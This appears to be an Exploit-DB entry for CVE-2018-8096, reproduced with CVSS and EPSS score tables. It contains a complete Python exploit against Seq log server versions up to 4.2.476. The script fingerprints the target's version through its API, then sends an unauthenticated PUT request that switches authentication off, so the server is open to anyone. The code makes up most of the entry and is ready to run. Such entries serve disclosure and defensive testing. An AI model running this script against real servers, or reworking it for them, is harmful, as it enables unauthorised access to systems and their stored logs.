Lucene search

K
exploitdbDaniel ChactouraEDB-ID:45136
HistoryAug 02, 2018 - 12:00 a.m.

Seq 4.2.476 - Authentication Bypass

2018-08-0200:00:00
Daniel Chactoura
www.exploit-db.com
28

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.537 Medium

EPSS

Percentile

97.6%

# Exploit Title: Seq 4.2.476 - Authentication Bypass
# Date: 2018-08-02
# Exploit Author: Daniel Chactoura
# Vendor Homepage: https://getseq.net/
# Software Link: https://getseq.net/Download/All
# Version: <= 4.2.476
# CVE : CVE-2018-8096
# Post Reference: https://medium.com/stolabs/bypass-admin-authentication-on-seq-17f0f9e02732

# coding=utf-8

#!/bin/python

import sys
import requests

def verifyArgs(args):
    if len(args) < 2:
        print('[!] Usage: '+str(args[0])+' https://target')
        exit(0)
    elif 'http' not in str(args[1]):
        print('''[!] Missing "https://" !''')
        exit(0)
    else:
        return(1)

def verifyVersion(url):
    vulnVersions = ['4.2.476','4.2.470','4.1.17','4.1.16',
                    '4.1.14','4.0.60','4.0.58','3.4.20',
                    '3.4.18','3.4.17','3.3.23','3.3.22',
                    '3.3.21','3.3.20','3.2.16','3.1.17',
                    '3.1.16','3.0.30','2.4.2','2.3.4',
                    '2.3.3','2.2.8','2.1.22','2.1.21',
                    '2.0.19','1.6.13','1.6.12','1.6.11',
                    '1.6.10','1.6.9','1.6.8','1.6.7',
                    '1.6.6','1.6.5','1.6.4','1.5.19',
                    '1.5.18','1.5.17','1.5.16','1.4.12',
                    '1.4.11','1.4.10','1.4.9','1.4.8',
                    '1.4.7','1.4.6','1.3.11','1.3.10',
                    '1.3.9','1.3.8']
    u = str(url)
    verifV = requests.get(u+'/api/')
    verifVJSON = verifV.json()
    ver = str(verifVJSON['Version'])[:-2]

    if ver in vulnVersions:
        print("[+] Seq's version is potentially vulnerable!")
        return(1)
    else:
        print("[!] Seq's version is probably not vulnerable!")
        return(0)

def bypassAuth(url):
    u = str(url)
    payload = "{'Name':'isauthenticationenabled','Value':false,'Id':'setting-isauthenticationenabled','Links':{'Self':'api/settings/setting-isauthenticationenabled','Group':'api/settings/resources'}}"
    h = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', 'Referer':u}
    verifM = requests.put(u+'/api/settings/setting-isauthenticationenabled', data=payload, headers=h)
    verifMCode = str(verifM.status_code)
    if verifMCode == '200':
        print("[:)] YES! Success! Now, access the url and have fun!")
    else:
        print("[:(] DAMN! This is not your lucky day...")

def main():
    try:
        if verifyArgs(sys.argv):
            if verifyVersion(sys.argv[1]):
                bypassAuth(sys.argv[1])
            else:
                c = input('[?] Do you want to try it anyway? (y/n): ').lower()
                if c == 'y':
                    pass
                elif c == 'n':
                    exit(0)
                else:
                    print('[!] Invalid choice!')
                    exit(0)
    except KeyboardInterrupt:
        exit(0)

if __name__ == '__main__':
    main()

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.537 Medium

EPSS

Percentile

97.6%